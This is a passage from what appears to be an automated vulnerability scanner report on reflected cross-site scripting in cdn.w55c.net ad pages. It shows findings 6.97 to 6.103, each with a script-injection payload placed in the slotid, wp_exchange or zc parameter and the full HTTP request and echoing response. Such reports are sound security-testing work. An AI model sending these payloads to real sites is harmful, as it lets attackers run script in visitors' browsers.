C4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.phpa75f5"><script>alert(1)</script>925c4d5e97b&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw
...[SNIP]...

6.97. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [slotid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the slotid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload abca4"><script>alert(1)</script>be9a44755d8 was submitted in the slotid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQabca4"><script>alert(1)</script>be9a44755d8&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:08 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 424
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061002 (MII-APC/1.6)
Content-Length: 2260

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB
...[SNIP]...
1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQabca4"><script>alert(1)</script>be9a44755d8&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rur
...[SNIP]...

6.98. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [slotid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the slotid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb88f"><script>alert(1)</script>722133c288 was submitted in the slotid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=bb88f"><script>alert(1)</script>722133c288&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:09 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 425
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061006 (MII-APC/1.6)
Content-Length: 2254

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=bb88f"><script>alert(1)</script>722133c288&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rur
...[SNIP]...

6.99. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [wp_exchange parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the wp_exchange request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f1c20"><script>alert(1)</script>b68b6149f0e was submitted in the wp_exchange parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCAf1c20"><script>alert(1)</script>b68b6149f0e&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:06 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 422
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061005 (MII-APC/1.6)
Content-Length: 2260

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB
...[SNIP]...
TgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCAf1c20"><script>alert(1)</script>b68b6149f0e&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0
...[SNIP]...

6.100. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [wp_exchange parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the wp_exchange request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2fa8b"><script>alert(1)</script>81a0cddd67 was submitted in the wp_exchange parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=2fa8b"><script>alert(1)</script>81a0cddd67&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 15:59:04 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:07 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 1264
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061002 (MII-APC/1.6)
Content-Length: 2182

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB
...[SNIP]...
xJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=2fa8b"><script>alert(1)</script>81a0cddd67&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0
...[SNIP]...

6.101. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [zc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the zc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c814d"><script>alert(1)</script>6ce1ac24f was submitted in the zc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=c814d"><script>alert(1)</script>6ce1ac24f&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:15 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 431
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061004 (MII-APC/1.6)
Content-Length: 2242

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB
...[SNIP]...
Y&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=c814d"><script>alert(1)</script>6ce1ac24f&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw?" WIDTH=160 HEIGHT=600 MARG
...[SNIP]...

6.102. http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html [zc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0Rl7Vm3VTU_682412618.html

Issue detail

The value of the zc request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2b8fa"><script>alert(1)</script>13567316b20 was submitted in the zc parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc2b8fa"><script>alert(1)</script>13567316b20&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php& HTTP/1.1
Host: cdn.w55c.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679995&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661995029&bpp=3&shv=r20110420&jsv=r20110415&correlator=1303661995034&frm=1&adk=2614322350&ga_vid=1092593501.1303661995&ga_sid=1303661995&ga_hid=294155726&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=7
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: matchadmeld=1; matchpubmatic=1; matchbluekai=1; matchgoogle=1; wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC

Response

HTTP/1.1 200 OK
Date: Sun, 24 Apr 2011 16:13:06 GMT
Server: w55c.net
Set-Cookie: wfivefivec=9QQxcTO5uH2Ia7Bk4vGS2S96ufOGsSDC;Path=/;Domain=.w55c.net;Expires=Tue, 23-Apr-13 16:20:14 GMT
P3p: policyref='http://w55c.net/w3c/p3p.xml', CP='DSP NOI COR'
Accept-Ranges: bytes
Last-Modified: Tue, 19 Apr 2011 21:53:32 GMT
Content-Type: text/html
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a), HTTP/1.1 cdn.w55c.net (MII JProxy)
Age: 430
Cache-Control: no-cache, no-store
pragma: no-cache
Via: 1.1 mdw061007 (MII-APC/1.6)
Content-Length: 2260

<IFRAME SRC="http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB
...[SNIP]...
d=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=&zc=NzUyMDc2b8fa"><script>alert(1)</script>13567316b20&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw?">
...[SNIP]...

6.103. http://cdn.w55c.net/i/0RuFuATqDZ_452086828.html [btid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://cdn.w55c.net
Path:	/i/0RuFuATqDZ_452086828.html

Issue detail

